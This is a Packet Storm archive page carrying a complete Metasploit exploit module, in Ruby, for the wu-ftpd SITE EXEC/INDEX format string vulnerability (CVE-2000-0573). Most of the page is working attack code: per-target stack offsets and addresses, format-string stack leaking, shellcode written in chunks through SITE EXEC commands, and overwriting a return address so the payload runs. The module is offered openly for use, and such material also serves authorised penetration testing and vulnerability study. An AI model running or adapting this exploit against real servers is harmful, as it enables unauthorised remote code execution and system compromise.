exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Wu-ftpd SITE EXEC/INDEX Format String Vulnerability

Wu-ftpd SITE EXEC/INDEX Format String Vulnerability
Posted Dec 31, 2009
Authored by jduck | Site metasploit.com

This Metasploit module exploits a format string vulnerability in versions of the Washington University FTP server older than 2.6.1. By executing specially crafted SITE EXEC or SITE INDEX commands containing format specifiers, an attacker can corrupt memory and execute arbitrary code.

tags | exploit, arbitrary
advisories | CVE-2000-0573
SHA-256 | 17811a8ac377764adfb49c164f93cdcf698df0df9d68af1e9617fc9029a4ec99

Wu-ftpd SITE EXEC/INDEX Format String Vulnerability

Change Mirror Download
###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Ftp
include Msf::Exploit::FormatString

def initialize(info = {})
super(update_info(info,
'Name' => 'wu-ftpd SITE EXEC/INDEX Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in versions of the
Washington University FTP server older than 2.6.1. By executing
specially crafted SITE EXEC or SITE INDEX commands containing format
specifiers, an attacker can corrupt memory and execute arbitrary code.
},
'Author' =>
[
'jduck'
],
'References' =>
[
['OSVDB', '11805'],
['CVE', '2000-0573'],
['BID', '1387']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependChrootBreak' => true
},
'Privileged' => true,
'Payload' =>
{
# format string max length
'Space' => 256,
# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f",
'DisableNops' => 'True',
'StackAdjustment' => -1500
},
'Platform' => [ 'linux' ],
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],

#
# specific targets
#
[ 'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)',
{
'UseDPA' => false,
'PadBytes' => 3,
'NumPops' => 8,
'AddrPops' => 100,
'Offset' => -2088, # offset to stack return
'Writable' => 0xbfffde26, # stack, avoid badchars
'FlowHook' => -1, # auto now... 0xbffff1e4 # stack return addr
}
],
# these aren't exploitable (using built-in, stripped down vsprintf, no %n)
#[ 'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)',
#[ 'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)',
#[ 'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)',
[ 'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)',
{
'UseDPA' => true,
'PadBytes' => 2,
'NumPops' => 276,
'AddrPops' => 2,
'Offset' => -17664, # offset to stack return
'Writable' => 0x806e726, # bss
#'Writable' => 0xbfff0126, # stack, avoid badchars
'FlowHook' => -1, # auto now... 0xbfffb028 # stack return addr
#'FlowHook' => 0x806e1e0 # GOT of sprintf
}
],

#
# this one will detect the parameters automagicly
#
[ 'Debug',
{
'UseDPA' => false,
'PadBytes' => 0,
'NumPops' => 0,
'AddrPops' => -1,
'Offset' => -1,
'Writable' => 0x41414242, #
'FlowHook' => 0x43434545 #
}
],
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(21),
], self.class )
end


def check
connect_login
print_status("FTP Banner: #{banner.strip}")
status = Exploit::CheckCode::Safe
if banner =~ /Version wu-2\.(4|5)/
status = Exploit::CheckCode::Appears
elsif banner =~ /Version wu-2\.6\.0/
status = Exploit::CheckCode::Appears
end

# NOTE: vulnerable and exploitable might not mean the same thing here :)
if not fmtstr_detect_vulnerable
status = Exploit::CheckCode::Safe
end
if not fmtstr_detect_exploitable
status = Exploit::CheckCode::Safe
end
disconnect
return status
end


def exploit

connect_login

# Use a copy of the target
mytarget = target

if (target['auto'])
mytarget = nil

print_status("Automatically detecting the target...")
if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
print_status("No matching target")
return
end

regexp = Regexp.escape(version)
self.targets.each do |t|
if (t.name =~ /#{regexp}/) then
mytarget = t
break
end
end

if (not mytarget)
print_status("No matching target")
return
end

print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
if banner
print_status("FTP Banner: #{banner.strip}")
end
end

# proceed with chosen target...

# detect stuff!
if mytarget.name == "Debug"
#fmtstr_set_caps(true, true)
# dump the stack, so we can detect stuff magically
print_status("Dumping the stack...")
stack = Array.new
extra = "aaaabbbb"
1000.times do |x|
dw = fmtstr_stack_read(x+1, extra)
break if not dw
stack << dw
end

stack_data = stack.pack('V*')
print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data))

# detect the number of pad bytes
idx = stack_data.index("aaaabbbb")
if not idx
print_status("Whoa, didn't find the static bytes on the stack!")
return
end
num_pad = 0
num_pad = 4 - (idx % 4) if (idx % 4)
mytarget.opts['PadBytes'] = num_pad

# calculate the number of pops needed to hit our addr
num_pops = (idx + num_pad) / 4
mytarget.opts['NumPops'] = num_pops
else
num_pad = mytarget['PadBytes']
num_pops = mytarget['NumPops']
sc_loc = mytarget['Writable']
ret = mytarget['FlowHook']
end

print_status("Number of pad bytes: #{num_pad}")
print_status("Number of pops: #{num_pops}")

# debugging -> don't try it!
return if mytarget.name == "Debug"
#print_status("ATTACH!")
#sleep(5)

fmtstr_detect_caps

# compute the stack return address using the fmt to leak memory
addr_pops = mytarget['AddrPops']
offset = mytarget['Offset']
if addr_pops > 0
stackaddr = fmtstr_stack_read(addr_pops)
print_status("Read %#x from offset %d" % [stackaddr, addr_pops])
ret = stackaddr + offset
end

print_status("Writing shellcode to: %#x" % sc_loc)
print_status("Hijacking control via %#x" % ret)


# no extra bytes before the padding..
num_start = 0

# write shellcode to 'writable'
arr = fmtstr_gen_array_from_buf(sc_loc, payload.encoded, mytarget)

# process it in groups of 24 (max ~400 bytes per command)
sc_num = 1
while arr.length > 0
print_status("Sending part #{sc_num} of the payload...")
sc_num += 1

narr = arr.slice!(0..24)

fmtbuf = fmtstr_gen_from_array(num_start, narr, mytarget)
# a space allows the next part to start with a '/'
fmtbuf[num_pad-1,1] = " "
fmtbuf.gsub!(/\xff/, "\xff\xff")
if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true)))
if res[0,4] == "500 "
throw "Crap! Something went wrong when uploading the payload..."
end
end
end


# write 'writable' addr to flowhook (execute shellcode)
# NOTE: the resulting two writes must be done at the same time
print_status("Attempting to write %#x to %#x.." % [sc_loc, ret])

fmtbuf = generate_fmt_two_shorts(num_start, ret, sc_loc, mytarget)
# a space allows the next part to start with a '/'
fmtbuf[num_pad-1,1] = " "
fmtbuf.gsub!(/\xff/, "\xff\xff")
# don't wait for the response here :)
res = send_cmd(['SITE', 'EXEC', fmtbuf], false)

print_status("Your payload should have executed now...")
handler
end


#
# these two functions are used to read stack memory
# (used by fmtstr_stack_read()
#
def trigger_fmt(fmtstr)
return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2))
send_cmd(['SITE', 'EXEC', 'x', fmtstr], true)
end

def extract_fmt_output(res)
if res[0,4] == "500 "
#throw "Crap! Something went wrong while dumping the stack..."
return nil
end
ret = res.strip.split(/\r?\n/)[0]
ret = ret[6,ret.length]
return ret
end


end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close